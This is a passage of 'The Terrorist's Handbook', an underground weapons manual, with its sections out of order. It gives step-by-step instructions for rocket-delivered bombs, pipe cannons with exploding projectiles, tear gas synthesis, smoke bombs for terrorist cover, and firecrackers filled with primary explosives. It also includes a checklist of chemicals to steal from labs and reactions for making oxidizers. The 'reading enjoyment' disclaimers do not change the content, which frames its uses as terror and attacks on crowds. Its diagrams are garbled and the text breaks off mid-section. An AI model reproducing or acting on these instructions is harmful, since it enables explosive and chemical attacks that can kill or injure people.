BASIC ROCKET BOMB
A rocket bomb is simply what the name implies: a bomb that is
delivered
to its target by means of a rocket. Most people who would make such a
device
would use a model rocket engine to power the device. By cutting fins
from balsa
wood and gluing them to a large rocket engine, such as the Estes "C"
engine, a
basic rocket could be constructed. Then, by attaching a "crater
maker", or CO2
cartridge bomb to the rocket, a bomb would be added. To insure that
the fuse of
the "crater maker" (see sect. 4.42) ignited, the clay over the ejection
charge
of the engine should be scraped off with a plastic tool. The fuse of
the bomb
should be touching the ejection charge, as shown below.
____________ rocket engine
|
_________ crater maker
|
|
|
|
V
|
_________________________________
V
|_______________________________| ______________________
\
| - - - - - -|***|::::|
/# # # # # # # # # # # \
\__| - - - - - -|***|::::| ___/ # # # # # # # # # # # \
__ - - - - - -|***|::::|---fuse--- # # explosive # # )
/ | - - - - - -|***|::::| ___
# # # # # # # # # # # /
/___|____________|___|____|____ \_______________________/
|_______________________________|
thrust> - - - - - smoke> ***
ejection charge> ::::
Duct tape is the best way to attach the crater maker to the rocket
engine. Note in the diagram the absence of the clay over the ejection
charge
Many different types of explosive payloads can be attached to the
rocket, such as
a high explosive, an incendiary device, or a chemical fire bottle.
Either four or three fins must be glued to the rocket engine to
insure
that the rocket flies straight.
The fins should look like this:
|\
| \
| \
|
\ <--------- glue this to rocket engine
|
\
|
\
|
\
|
|
|
|
|
|
leading edge
|
|
------->
|
|
|
|
|
| trailing edge
|
|
<-------|
|
|
|
|
|
|
|
\_____/
The leading edge and trailing edge should be sanded with sandpaper
so
that they are rounded. This will help make the rocket fly straight. A
two
inch long section of a plastic straw can be attached to the rocket to
launch it
from. A clothes hanger can be cut and made into a launch rod. The
segment of
a plastic straw should be glued to the rocket engine adjacent to one of
the fins
of the rocket. A front view of a completed rocket bomb is shown below.
|
|
|
fin
| <------ fin
|
|
|
|
|
|
|
__|__
|
V
/
\
V
---------------|
|--------------\_____/
|o <----------- segment of plastic straw
|
|
| <------ fin
|
|
|
By cutting a coat hanger at the indicated arrows, and bending it,
a
launch rod can be made. After a fuse is inserted in the engine, the
rocket is
simply slid down the launch rod, which is put through the segment of
plastic
straw. The rocket should slide easily along the coathanger.
____
/
\
|
|
cut here _____
|
|
|
|
|
|
/ \
V
/
\
_________________/
\________________
\
/
\
/____________________________________________\
^
|
|
and here ______|
/
Bend wire to this shape:
_______ insert into straw
|
|
|
V
____________________________________________
\
\
\
\
\ <--------- bend here to adjust flight angle
|
|
|
|
|
| <---------- put this end in ground
|
.PA
6.12
LONG RANGE ROCKET BOMB
Long range rockets can be made by using multi-stage rockets.
Model
rocket engines with an "0" for a time delay are designed for use in
multi-
stage rockets. An engine such as the D12-0 is an excellent example of
such an
engine. Immediately after the thrust period is over, the ejection
charge
explodes. If another engine is placed directly against the back of an
"0"
engine, the explosion of the ejection charge will send hot gasses and
burning
particles into the nozzle of the engine above it, and ignite the thrust
section.
This will push the used "0" engine off of the rocket, causing an
overall loss of
weight. The main advantage of a multi-stage rocket is that it loses
weight as
travels, and it gains velocity. A multi-stage rocket must be designed
somewhat
differently than a single stage rocket, since, in order for a rocket to
fly
straight, its center of gravity must be ahead of its center of drag.
This is
accomplished by adding weight to the front of the rocket, or by moving
the
center of drag back by putting fins on the rocket that are well behind
the
rocket. A diagram of a multi-stage rocket appears below:
___
/
\
|
|
| C |
| M | ------ CM: Crater Maker
|
|
|
|
|___|
|
|
|
|
|
|
| C | ------ C6-5 rocket engine
/| 6 |\
/ | | | \
/ | 5 | \
/
|___|
\ ---- fin
/
/|
|\
\
/
/ |
| \
\
/
/ |
| \
\
/
/
| C |
\
\
|
/
| 6 |
\
|
| /
| | |
\ |
| /
| 0 |
\ |
|/
|___|
\|
|
/
\
|
\______/
^
\______/ ------- fin
|
|
|
|
C6-0 rocket engine
The fuse is put in the bottom engine.
Two, three, or even four stages can be added to a rocket bomb to
give it
a longer range. It is important, however, that for each additional
stage, the
fin area gets larger.
6.13
MULTIPLE WARHEAD ROCKET BOMBS
"M.R.V." is an acronym for Multiple Reentry Vehicle. The concept
is
simple: put more than one explosive warhead on a single missile. This
can be
done without too much difficulty by anyone who knows how to make
crater-makers
and can buy rocket engines. By attaching crater makers with long fuses
to a
rocket, it is possible that a single rocket could deliver several
explosive
devices to a target. Such a rocket might look like this:
___
/
\
|
|
| C |
| M |
|___|
___|
|___
| |
| |
| | T | |
/ \ | U | / \
/
\| B |/
\
|
|| E ||
|
| C ||
|| C |
| M ||
|| M |
|
||___||
|
\___/| E |\___/
| N |
/| G |\
/ | I | \
/ | N | \
/
| E |
\
/
|___|
\
/ fin/ | \ fin\
|
/
|
\
|
\__/
|
\__/
^
|____ fin
The crater makers are attached to the tube of rolled paper with
tape.
the paper tube is made by rolling and gluing a 4 inch by 8 inch piece
of paper.
The tube is glued to the engine, and is filled with gunpowder or black
powder.
Small holes are punched in it, and the fuses of the crater makers are
inserted
in these holes. A crater maker is glued to the open end of the tube,
so that
its fuse is inside the tube. A fuse is inserted in the engine, or in
the bottom
engine if the rocket bomb is multi stage, and the rocket is launched
from the
coathanger launcher, if a segment of a plastic straw has been attached
to it.
6.2
CANNON
The cannon is a piece of artillery that has been in use since the
11th century. It is not unlike a musket, in that it is filled with
powder,
loaded, and fired. Cannons of this sort must also be cleaned after
each shot,
otherwise, the projectile may jam in the barrel when it is fired,
causing the
barrel to explode. A sociopath could build a cannon without too much
trouble,
if he/she had a little bit of money, and some patience.
6.21
BASIC PIPE CANNON
A simple cannon can be made from a thick pipe by almost anyone.
The
only difficult part is finding a pipe that is extremely smooth on its
interior.
This is absolutely necessary; otherwise, the projectile may jam.
Copper or
aluminum piping is usually smooth enough, but it must also be extremely
thick to
withstand the pressure developed by the expanding hot gasses in a
cannon. If
one uses a projectile such as a CO2 cartridge, since such a projectile
can be
made to explode, a pipe that is about 1.5 - 2 feet long is ideal. Such
a pipe
MUST have walls that are at least 1/3 to 1/2 an inch thick, and be very
smooth
on the interior. If possible, screw an endplug into the pipe.
Otherwise, the
pipe must be crimped and folded closed, without cracking or tearing the
pipe.
A small hole is drilled in the back of the pipe near the crimp or
endplug.
Then, all that need be done is fill the pipe with about two teaspoons
of
grade blackpowder or pyrodex, insert a fuse, pack it lightly by ramming
a wad
of tissue paper down the barrel, and drop in a CO2 cartridge. Brace
the cannon
securely against a strong structure, light the fuse, and run. If the
person is
lucky, he will not have overcharged the cannon, and he will not be hit
by
pieces of exploding barrel. Such a cannon would look like this:
__________________ fuse hole
|
|
V
__________ ______________________________________________________
| |________ _____________________________________________________|
|endplug|powder|t.p.| CO2 cartridge
| ______|______|____|____________________________________________
|_|______________________________________________________________|
An exploding projectile can be made for this type of cannon with a
CO2
cartridge. It is relatively simple to do. Just make a crater maker,
and
construct it such that the fuse projects about an inch from the end of
the
cartridge. Then, wrap the fuse with duct tape, covering it entirely,
except for
a small amount at the end. Put this in the pipe cannon without using a
tissue
paper packing wad. When the cannon is fired, it will ignite the end of
the fuse,
and shoot the CO2 cartridge. The explosive-filled cartridge will
explode in
about
three seconds, if all goes well.
Such a projectile would look like
this:
___
/
\
|
|
| C |
| M |
|
|
|
|
|\ /|
| | | ---- tape
|_|_|
| ------ fuse
6.22
ROCKET FIRING CANNON
A rocket firing cannon can be made exactly like a normal cannon;
the
only difference is the ammunition. A rocket fired from a cannon will
fly further
than a rocket alone, since the action of shooting it overcomes the
initial
inertia. A rocket that is launched when it is moving will go further
than one
that is launched when it is stationary. Such a rocket would resemble a
normal
rocket bomb, except it would have no fins. It would look like this:
___
/
\
|
|
| C |
| M |
|
|
|
|
|___|
| E |
| N |
| G |
| I |
| N |
| E |
|___|
the fuse on such a device would, obviously, be short, but it would
not
be ignited until the rocket's ejection charge exploded. Thus, the
delay before
the ejection charge, in effect, becomes the delay before the bomb
explodes.
Note that no fuse need be put in the rocket; the burning powder in the
cannon
will ignite it, and simultaneously push the rocket out of the cannon at
a high
velocity.
7.0
PYROTECHNICA ERRATA
There are many other types of pyrotechnics that a perpetrator of
violence might employ. Smoke bombs can be purchased in magic stores,
and large
military smoke bombs can be bought through adds in gun and military
magazines.
Finally, fireworks can also be used as weapons of terror. A large
aerial display
rocket would cause many injuries if it were to be fired so that it
landed on the
ground near a crowd of people. Even the "harmless" pull-string
fireworks, which
consists of a sort of firecracker that explodes when the strings
running through
it are pulled, could be placed inside a large charge of a sensitive
high
explosive. Tear gas is another material that might well be useful to
the
sociopath, and such a material could be instantly disseminated over a
large
crowd by means of a rocket-bomb, with nasty effects.
7.1
SMOKE BOMBS
One type of pyrotechnic device that might be employed by a
terrorist in
many way would be a smoke bomb. Such a device could conceal the
getaway route,
or cause a diversion, or simply provide cover. Such a device, were it
to
produce enough smoke that smelled bad enough, could force the
evacuation of a
building, for example. Smoke bombs are not difficult to make.
Although the
military smoke bombs employ powdered white phosphorus or titanium
compounds,
such materials are usually unavailable to even the most well-equipped
terrorist.
Instead, he/she would have to make the smoke bomb for themselves.
Most homemade smoke bombs usually employ some type of base powder,
such
as black powder or pyrodex, to support combustion. The base material
will burn
well, and provide heat to cause the other materials in the device to
burn, but
not completely or cleanly. Table sugar, mixed with sulfur and a base
material,
produces large amounts of smoke. Sawdust, especially if it has a small
amount
of oil in it, and a base powder works well also. Other excellent smoke
ingredients are small pieces of rubber, finely ground plastics, and
many
chemical mixtures. The material in road flares can be mixed with sugar
and
sulfur and a base powder produces much smoke. Most of the fueloxodizer
mixtures, if the ratio is not correct, produce much smoke when added to
a base
powder. The list of possibilities goes on and on. The trick to a
successful
smoke bomb also lies in the container used. A plastic cylinder works
well, and
contributes to the smoke produced. The hole in the smoke bomb where
the fuse
enters must be large enough to allow the material to burn without
causing an
explosion. This is another plus for plastic containers, since they
will melt
and burn when the smoke material ignites, producing an opening large
enough to
prevent an explosion.
7.2
COLORED FLAMES
Colored flames can often be used as a signaling device for
terrorists.
by putting a ball of colored flame material in a rocket; the rocket,
when the
ejection charge fires, will send out a burning colored ball. The
materials that
produce the different colors of flames appear below.
COLOR
MATERIAL
USED IN
_____
________
_______
_______________________________________________________________________
________
red
strontium
road flares,
salts
red sparklers
(strontium nitrate)
_______________________________________________________________________
________
green
barium salts
green sparklers
(barium nitrate)
_______________________________________________________________________
________
yellow
sodium salts
gold sparklers
(sodium nitrate)
_______________________________________________________________________
________
blue
powdered copper
blue sparklers,
old pennies
_______________________________________________________________________
________
white
powdered magnesium
firestarters,
or aluminum
aluminum foil
_______________________________________________________________________
________
purple
potassium permanganate
purple fountains,
treating sewage
_______________________________________________________________________
________
7.3
TEAR GAS
A terrorist who could make tear gas or some similar compound could
use
it with ease against a large number of people. Tear gas is fairly
complicated
to make, however, and this prevents such individuals from being able to
utilize
its great potential for harm. One method for its preparation is shown
below.
EQUIPMENT
_________
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
ring stands (2)
alcohol burner
erlenmeyer flask, 300 ml
clamps (2)
rubber stopper
glass tubing
clamp holder
condenser
rubber tubing
collecting flask
air trap
beaker, 300 ml
MATERIALS
_________
10 gms
glycerine
2 gms sodium bisulfate
distilled water
1.) In an open area, wearing a gas mask, mix 10 gms of glycerine with
2 gms
of sodium bisulfate in the 300 ml erlenmeyer flask.
2.)
Light the alcohol burner, and gently heat the flask.
3.) The mixture will begin to bubble and froth; these bubbles are tear
gas.
4.) When the mixture being heated ceases to froth and generate gas, or
a brown
residue becomes visible in the tube, the reaction is complete.
Remove the
heat source, and dispose of the heated mixture, as it is
corrosive.
5.) The material that condenses in the condenser and drips into the
collecting
flask is tear gas. It must be capped tightly, and stored in a
safe place.
7.4
FIREWORKS
While fireworks cannot really be used as an effective means of
terror,
they do have some value as distractions or incendiaries. There are
several
basic types of fireworks that can be made in the home, whether for fun,
profit,
or nasty uses.
7.41
FIRECRACKERS
A simple firecracker can be made from cardboard tubing and epoxy.
The instructions are below:
1) Cut a small piece of cardboard tubing from the tube you are
using.
"Small" means anything less than 4 times the diameter of the
tube.
2) Set the section of tubing down on a piece of wax paper, and
fill
it with epoxy and the drying agent to a height of 3/4 the
diameter
of the tubing. Allow the epoxy to dry to maximum hardness, as
specified on the package.
3) When it is dry, put a small hole in the middle of the tube, and
insert a desired length of fuse.
4) Fill the tube with any type of flame-sensitive explosive.
Flash
powder, pyrodex, black powder, potassium picrate, lead azide,
nitrocellulose, or any of the fast burning fuel-oxodizer
mixtures
will do nicely.
Fill the tube almost to the top.
5) Pack the explosive tightly in the tube with a wad of tissue
paper
and a pencil or other suitable ramrod.
Be sure to leave enough
space
for more epoxy.
6) Fill the remainder of the tube with the epoxy and hardener, and
allow
it to dry.
7) For those who wish to make spectacular firecrackers, always use
flash powder, mixed with a small amount of other material for
colors. By crushing the material on a sparkler, and adding it
to the flash powder, the explosion will be the same color as
the
sparkler.
By adding small chunks of sparkler material, the
device will throw out colored burning sparks, of the same color
as the sparkler. By adding powdered iron, orange sparks will
be produced. White sparks can be produced from magnesium
shavings,
or from small, LIGHTLY crumpled balls of aluminum foil.
Example:
Suppose I wish to make a firecracker that will
explode
with a red flash, and throw out white sparks. First,
I would take a road flare, and finely powder the
material
inside it.
Or, I could take a red sparkler, and finely
powder it. Then, I would mix a small amount of this
material with the flash powder. (NOTE: FLASH POWDER
MAY REACT WITH SOME MATERIALS THAT IT IS MIXED WITH, AND
EXPLODE SPONTANEOUSLY!) I would mix it in a ratio of
9 parts flash powder to 1 part of flare or sparkler
material, and add about 15 small balls of aluminum foil
I would store the material in a plastic bag overnight
outside of the house, to make sure that the stuff
doesn't
react.
Then, in the morning, I would test a small
amount
of it, and if it was satisfactory, I would put it in the
firecracker.
8) If this type of firecracker is mounted on a rocket engine,
professional to semi-professional displays can be produced.
7.42
SKYROCKETS
An impressive home made skyrocket can easily be made in the home
from
model rocket engines. Estes engines are recommended.
1) Buy an Estes Model Rocket Engine of the desired size,
remembering
that the power doubles with each letter. (See sect. 6.1 for
details)
2) Either buy a section of body tube for model rockets that
exactly
fits the engine, or make a tube from several thicknesses of
paper
and glue.
3) Scrape out the clay backing on the back of the engine, so that
the powder is exposed.
Glue the tube to the engine, so that
the
tube covers at least half the engine. Pour a small charge of
flash powder in the tube, about 1/2 an inch.
4) By adding materials as detailed in the section on firecrackers,
various types of effects can be produced.
5) By putting Jumping Jacks or bottle rockets without the stick
in the tube, spectacular displays with moving fireballs or
M.R.V.'s can be produced.
6) Finally, by mounting many home made firecrackers on the tube
with
the fuses in the tube, multiple colored bursts can be made.
7.43
ROMAN CANDLES
Roman candles are impressive to watch. They are relatively
difficult
to make, compared to the other types of home-made fireworks, but they
are
well worth the trouble.
1) Buy a 1/2 inch thick model rocket body tube, and reinforce it
with several layers of paper and/or masking tape. This must
be done to prevent the tube from exploding. Cut the tube into
about 10 inch lengths.
2) Put the tube on a sheet of wax paper, and seal one end with
epoxy
and the drying agent.
About 1/2 of an inch is sufficient.
3) Put a hole in the tube just above the bottom layer of epoxy,
and insert a desired length of water proof fuse. Make sure
that
the fuse fits tightly.
4) Pour about 1 inch of pyrodex or gunpowder down the open end of
the
tube.
5) Make a ball by powdering about two 6 inch sparklers of the
desired
color. Mix this powder with a small amount of flash powder and
a small amount of pyrodex, to have a final ratio (by volume) of
60% sparkler material / 20% flash powder / 20% pyrodex. After
mixing the powders well, add water, one drop at a time, and
mixing
continuously, until a damp paste is formed. This paste should
be moldable by hand, and should retain its shape when left
alone.
Make a ball out of the paste that just fits into the tube.
Allow
the ball to dry.
6) When it is dry, drop the ball down the tube.
It should slide
down
fairly easily.
Put a small wad of tissue paper in the tube,
and pack
it gently against the ball with a pencil.
7) When ready to use, put the candle in a hole in the ground,
pointed
in a safe direction, light the fuse, and run. If the device
works,
a colored fireball should shoot out of the tube to a height of
about 30 feet. This height can be increased by adding a
slightly
larger powder charge in step 4, or by using a slightly longer
tube.
8) If the ball does not ignite, add slightly more pyrodex in step
5.
9) The balls made for roman candles also function very well in
rockets,
producing an effect of falling colored fireballs.
8.0
LISTS OF SUPPLIERS AND MORE INFORMATION
Most, if not all, of the information in this publication can be
obtained
through a public or university library. There are also many
publications that
are put out by people who want to make money by telling other people
how to
make explosives at home. Adds for such appear frequently in
paramilitary
magazines and newspapers. This list is presented to show the large
number of
places that information and materials can be purchased from.
It also
includes
fireworks companies and the like.
COMPANY NAME AND ADDRESS
________________________
FULL AUTO CO. INC.
P.O. BOX 1881
MURFREESBORO, TN
37133
WHAT COMPANY SELLS
__________________
EXPLOSIVE RECIPES,
PAPER TUBING
_______________________________________________________________________
________
UNLIMITED
BOX 1378-SN
CHEMICALS AND FUSE
HERMISTON, OREGON
97838
_______________________________________________________________________
________
AMERICAN FIREWORKS NEWS
FIREWORKS NEWS MAGAZINE WITH
SR BOX 30
SOURCES AND TECHNIQUES
DINGMAN'S FERRY, PENNSYLVANIA
18328
_______________________________________________________________________
________
BARNETT INTERNATIONAL INC.
BOWS, CROSSBOWS, ARCHERY MATERIALS,
125 RUNNELS STREET
AIR RIFLES
P.O. BOX 226
PORT HURON, MICHIGAN
48060
_______________________________________________________________________
________
CROSSMAN AIR GUNS
AIR GUNS
P.O. BOX 22927
ROCHESTER, NEW YORK
14692
_______________________________________________________________________
________
EXECUTIVE PROTECTION PRODUCTS INC.
TEAR GAS GRENADES,
316 CALIFORNIA AVE.
PROTECTION DEVICES
RENO, NEVADA
89509
_______________________________________________________________________
________
BADGER FIREWORKS CO. INC.
CLASS "B" AND "C" FIREWORKS
BOX 1451
JANESVILLE, WISCONSIN
53547
_______________________________________________________________________
________
NEW ENGLAND FIREWORKS CO. INC.
CLASS "C" FIREWORKS
P.O. BOX 3504
STAMFORD, CONNECTICUTT
06095
_______________________________________________________________________
________
RAINBOW TRAIL
CLASS "C" FIREWORKS
BOX 581
EDGEMONT, PENNSYLVANIA
19028
_______________________________________________________________________
________
STONINGTON FIREWORKS INC.
4010 NEW WILSEY BAY U.25 ROAD
CLASS "C" AND "B" FIREWORKS
RAPID RIVER, MICHIGAN
49878
_______________________________________________________________________
________
WINDY CITY FIREWORKS INC.
CLASS "C" AND "B" FIREWORKS
P.O. BOX 11
{GOOD PRICES!}
ROCHESTER, INDIANNA
46975
_______________________________________________________________________
________
BOOKS
_____
THE ANARCHIST'S COOKBOOK
THE IMPROVISED MUNITIONS MANUAL
MILITARY EXPLOSIVES
FIRES AND EXPLOSIONS
9.0
CHECKLIST FOR RAIDS ON LABS
In the end, the serious terrorist would probably realize that if
he/she
wishes to make a truly useful explosive, he or she will have to steal
the
chemicals to make the explosive from a lab. A list of such chemicals
in order
of priority would probably resemble the following:
LIQUIDS
_______
____
____
____
powder)
____
____
____
10.0
SOLIDS
______
Nitric Acid
Sulfuric Acid
95% Ethanol
____
____
____
Potassium Perchlorate
Potassium Chlorate
Picric Acid (usually a
Toluene
____
Ammonium Nitrate
Perchloric Acid
____
Powdered Magnesium
Hydrochloric Acid
____
Powdered Aluminum
____
Potassium Permanganate
____
Sulfur
____ Mercury
____
Potassium Nitrate
____
Potassium Hydroxide
____
Phosphorus
____ Sodium Azide
____
Lead Acetate
____
Barium Nitrate
USEFUL PYROCHEMISTRY
In general, it is possible to make many chemicals from just a few
basic
ones. A list of useful chemical reactions is presented. It assumes
knowledge
of general chemistry; any individual who does not understand the
following
reactions would merely have to read the first five chapters of a high
school
chemistry book.
1.
potassium perchlorate from perchloric acid and potassium hydroxide
K(OH)
+
HClO
---->
KClO
+
H O
4
4
2
2.
potassium nitrate from nitric acid and potassium hydroxide
"
+
HNO
---->
KNO
+
"
3
3
3.
ammonium perchlorate from perchloric acid and ammonium hydroxide
NH OH
+
HClO
---->
NH ClO
+
"
3
4
3
4
4.
ammonium nitrate from nitric acid and ammonium hydroxide
NH OH
+
HNO
---->
NH NO
+
"
3
3
3 3
5.
powdered aluminum from acids, aluminum foil, and magnesium
A.
B.
aluminum foil
2AlCl
3
(aq)
+
+
6HCl
3Mg
---->
---->
2AlCl
3
+
3MgCl (aq)
2
+
3H
2
2Al
The Al will be a very fine silvery powder at the bottom of the
container
which must be filtered and dried.
This same method works with nitric
and
sulfuric acids, but these acids are too valuable in the production of
high
explosives to use for such a purpose, unless they are available in
great excess.
11.0
ABOUT THE AUTHOR
The author, who wishes his name to be unknown, is presently
attending
a college in the United States of America, majoring in Engineering. He
was
raised by his parents on the East Coast, and received his high school
education
there. He first became interested in pyrotechnics when he was about
eight years
of age. At age twelve, he produced his first explosive device; it was
slightly
more powerful than a large firecracker. He continued to produce
explosive
devices for several years. He also became interested in model
rocketry, and has
built several rockets from kits, and designed his own rockets. While
in high
school, the author became affiliated with CHAOS, and eventually became
the
head of Gunzenbomz Pyro-Technologies. At this time, at age 18, he
produced
his first high explosive device, putting a 1 foot deep crater in an
associate's
back yard. He had also produced many types of rockets, explosive
ammunition,
and other pyrotechnic devices. While he was heading Gunzenbomz PyroTechnologies, he was injured when a home made device exploded in his
hand; he
did not make the device. The author learned, however, and then
decided to
reform, and although he still constructs an occasional explosive
device, he
chooses to abstain from their production. An occasional rocket that
produces
effects similar to that of professional displays can sometimes be seen
in the
midnight sky near his college, and the Fourth of July is still his
favorite day
of the year.
---===>!!>-~>JyNx<~-<!!<===--The Terrorist's Handbook
Written BY: JyNx and Zealot
This is a collection of many years worth of effort........this is
the original manuscript for a non-published work, from an unknown
author.....It was originally two LARGE files which had to be
merged and then HEAVILY EDITED, mostly the pictures, and then
spellchecked...This guy is a chemical genius but he could not
spell if his life depended on it....I have simply run a spell
check via WordPerfect 4.2, so there are probably more errors
which were not picked up...sorry...I hope you have the patience
to sit through this file, read it, then correct every little
error....It is not like I am submitting it or anything...!!!!!
This file is dedicated To Kathie & KiKi
.....Whoever you both may be.....
.PN
THE TERRORIST'S HANDBOOK
________________________
1.0
INTRODUCTION
Gunzenbomz Pyro-Technologies, a division of Chaos Industries
(CHAOS), is
proud to present this first edition of The Terrorist's Handbook. First
and
foremost, let it be stated that Chaos Industries assumes no
responsibilities
for any misuse of the information presented in this publication. The
purpose
of this is to show the many techniques and methods used by those people
in this
and other countries who employ terror as a means to political and
social goals.
The techniques herein can be obtained from public libraries, and can
usually be
carried out by a terrorist with minimal equipment. This makes one all
the more
frightened, since any lunatic or social deviant could obtain this
information,
and use it against anyone. The processes and techniques herein SHOULD
NOT BE
CARRIED OUT UNDER ANY CIRCUMSTANCES!! SERIOUS HARM OR DEATH COULD
OCCUR FROM
ATTEMPTING TO PERFORM ANY OF THE METHODS IN THIS PUBLICATION. THIS IS
MERELY
FOR READING ENJOYMENT, AND IS NOT INTENDED FOR ACTUAL USE!!
Gunzenbomz Pyro-Technologies feels that it is important that everyone
has some
idea of just how easy it is for a terrorist to perform acts of terror;
that is
the reason for the existence of this publication.
.PA
1.1
2.0
2.01
2.02
2.03
2.04
2.05
2.06
Table of Contents
_________________
BUYING EXPLOSIVES AND PROPELLANTS
Black Powder
Pyrodex
Rocket Engine Powder
Rifle/Shotgun Powder
Flash Powder
Ammonium Nitrate
2.1
2.11
2.2
2.3
2.31
2.32
2.33
ACQUIRING CHEMICALS
Techniques for Picking Locks
LIST OF USEFUL HOUSEHOLD CHEMICALS AND AVAILABILITY
PREPARATION OF CHEMICALS
Nitric Acid
Sulfuric Acid
Ammonium Nitrate
3.0
3.01
3.1
3.11
3.12
3.13
3.14
3.2
3.21
3.22
3.23
3.24
3.3
3.31
3.32
3.33
3.34
3.35
3.36
3.37
3.38
3.39
3.40
3.41
3.5
3.51
3.52
3.53
3.54
EXPLOSIVE RECIPES
Explosive Theory
IMPACT EXPLOSIVES
Ammonium Triiodide Crystals
Mercury Fulminate
Nitroglycerine
Picrates
LOW ORDER EXPLOSIVES
Black Powder
Nitrocellulose
Fuel + Oxodizer mixtures
Perchlorates
HIGH ORDER EXPLOSIVES
R.D.X. (Cyclonite)
Ammonium Nitrate
ANFOS
T.N.T.
Potassium Chlorate
Dynamite
Nitrostarch Explosives
Picric Acid
Ammonium Picrate (Explosive D)
Nitrogen Trichloride
Lead Azide
OTHER "EXPLOSIVES"
Thermit
Molotov Cocktails
Chemical Fire Bottle
Bottled Gas Explosives
4.0
4.1
4.2
4.21
4.22
4.23
4.24
4.241
4.242
4.243
4.3
4.31
4.32
4.33
4.4
4.41
4.42
4.43
4.44
USING EXPLOSIVES
SAFETY
IGNITION DEVICES
Fuse Ignition
Impact Ignition
Electrical Ignition
Electro - Mechanical Ignition
Mercury Switches
Tripwire Switches
Radio Control Detonators
DELAYS
Fuse Delays
Timer Delays
Chemical Delays
EXPLOSIVE CONTAINERS
Paper Containers
Metal Containers
Glass Containers
Plastic Containers
4.5
4.51
4.52
4.53
4.54
4.55
4.56
ADVANCED USES FOR EXPLOSIVES
Shaped Charges
Tube Explosives
Atomized Particle Explosions
Lightbulb Bombs
Book Bombs
Phone Bombs
5.0
5.1
5.11
5.12
5.13
5.2
5.21
5.22
5.3
5.31
5.32
SPECIAL AMMUNITION FOR PROJECTILE WEAPONS
PROJECTILE WEAPONS (PRIMITIVE)
Bow and Crossbow Ammunition
Blowgun Ammunition
Wrist Rocket and Slingshot Ammunition
PROJECTILE WEAPONS (FIREARMS)
Handgun Ammunition
Shotguns
PROJECTILE WEAPONS (COMPRESSED GAS)
.177 Caliber B.B Gun Ammunition
.22 Caliber Pellet Gun Ammunition
6.0
6.1
6.11
6.12
6.13
6.2
6.21
6.22
ROCKETS AND CANNONS
ROCKETS
Basic Rocket-Bomb
Long Range Rocket-Bomb
Multiple Warhead Rocket-Bombs
CANNONS
Basic Pipe Cannon
Rocket-Firing Cannon
7.0
7.1
7.2
7.3
7.4
7.41
7.42
7.43
PYROTECHNICA ERRATA
Smoke Bombs
Colored Flames
Tear Gas
Fireworks
Firecrackers
Skyrockets
Roman Candles
8.0
LISTS OF SUPPLIERS AND FURTHER INFORMATION
9.0
CHECKLIST FOR RAIDS ON LABS
10.
USEFUL PYROCHEMISTRY
11.0
ABOUT THE AUTHOR
2.0
BUYING EXPLOSIVES AND PROPELLANTS
Almost any city or town of reasonable size has a gun store and
a pharmacy. These are two of the places that potential terrorists
visit in
order to purchase explosive material. All that one has to do is know
something
about the non-explosive uses of the materials. Black powder, for
example,
is used in blackpowder firearms. It comes in varying "grades", with
each
different grade being a slightly different size. The grade of black
powder
depends on what the calibre of the gun that it is used in; a fine grade
of
powder could burn too fast in the wrong caliber weapon. The rule is:
the smaller the grade, the faster the burn rate of the powder.
2.01
BLACK POWDER
Black powder is generally available in three grades. As stated
before,
the smaller the grade, the faster the powder burns. Burn rate is
extremely
important in bombs. Since an explosion is a rapid increase of gas
volume in
a confined environment, to make an explosion, a quick-burning powder is
desirable. The three common grades of black powder are listed below,
along
with the usual bore width (calibre) of what they are used in.
Generally,
the fastest burning powder, the FFF grade is desirable. However, the
other
grades and uses are listed below:
GRADE
_____
F
rifles
FF
rifles
FFF
BORE WIDTH
__________
EXAMPLE OF GUN
______________
.50 or greater
model cannon; some
.36 - .50
large pistols; small
.36 or smaller
pistols; derringers
The FFF grade is the fastest burning, because the smaller grade
has
more surface area or burning surface exposed to the flame front. The
larger
grades also have uses which will be discussed later. The price range
of
black powder, per pound, is about $8.50 - $9.00. The price is not
affected
by the grade, and so one saves oneself time and work if one buys the
finer
grade of powder. The major problems with black powder are that it can
be
ignited accidentally by static electricity, and that it has a tendency
to
absorb moisture from the air. To safely crush it, a bomber would use a
plastic
spoon and a wooden salad bowl. Taking a small pile at a time, he or
she would
apply pressure to the powder through the spoon and rub it in a series
of strokes
or circles, but not too hard. It is fine enough to use when it is
about as fine
as flour. The fineness, however, is dependant on what type of device
one wishes
to make; obviously, it would be impracticle to crush enough powder to
fill a 1
foot by 4 inch radius pipe. Anyone can purchase black powder, since
anyone can
own black powder firearms in America.
2.02
PYRODEX
Pyrodex is a synthetic powder that is used like black powder. It
comes
in the same grades, but it is more expensive per pound. However, a one
pound
container of pyrodex contains more material by volume than a pound of
black
powder. It is much easier to crush to a very fine powder than black
powder, and
it is considerably safer and more reliable. This is because it will
not be set off by static electricity, as black can be, and it is less
inclined
to absorb moisture. It costs about $10.00 per pound. It can be
crushed in the
same manner as black powder, or it can be dissolved in boiling water
and dried.
2.03
ROCKET ENGINE POWDER
One of the most exciting hobbies nowadays is model rocketry.
Estes is
the largest producer of model rocket kits and engines. Rocket engines
are
composed of a single large grain of propellant. This grain is
surrounded by
a fairly heavy cardboard tubing. One gets the propellant by slitting
the tube
lengthwise, and unwrapping it like a paper towel roll. When this is
done, the
grey fire clay at either end of the propellant grain must be removed.
This is
usually done gently with a plastic or brass knife. The material is
exceptionally
hard, and must be crushed to be used. By gripping the grain on the
widest
setting on a set of pliers, and putting the grain and powder in a
plastic bag,
the powder will not break apart and shatter all over. This should be
done to
all the large chunks of powder, and then it should be crushed like
black powder.
Rocket engines come in various sizes, ranging from 1/4 A - 2T to the
incredibly
powerful D engines. The larger the engine, the more expensive. D
engines come
in packages of three, and cost about $5.00 per package. Rocket engines
are
perhaps the single most useful item sold in stores to a terrorist,
since they
can be used as is, or can be cannibalized for their explosive powder.
2.04
RIFLE/SHOTGUN POWDER
Rifle powder and shotgun powder are really the same from a
practicle
standpoint. They are both nitrocellulose based propellants. They will
be
referred to as gunpowder in all future references. Gunpowder is made
by the
action of concentrated nitric and sulfuric acid upon cotton. This
material is
then dissolved by solvents and then reformed in the desired grain size.
When
dealing with gunpowder, the grain size is not nearly as important as
that of
black powder. Both large and small grained gunpowder burn fairly
slowly
compared to black powder when unconfined, but when it is confined,
gunpowder
burns both hotter and with more gaseous expansion, producing more
pressure.
Therefore, the grinding process that is often necessary for other
propellants
is not necessary for gunpowder. Gunpowder costs about $9.00 per pound.
Any
idiot can buy it, since there are no restrictions on rifles or shotguns
in the
U.S.
2.05
FLASH POWDER
Flash powder is a mixture of powdered zirconium metal and various
oxidizers. It is extremely sensitive to heat or sparks, and should be
treated
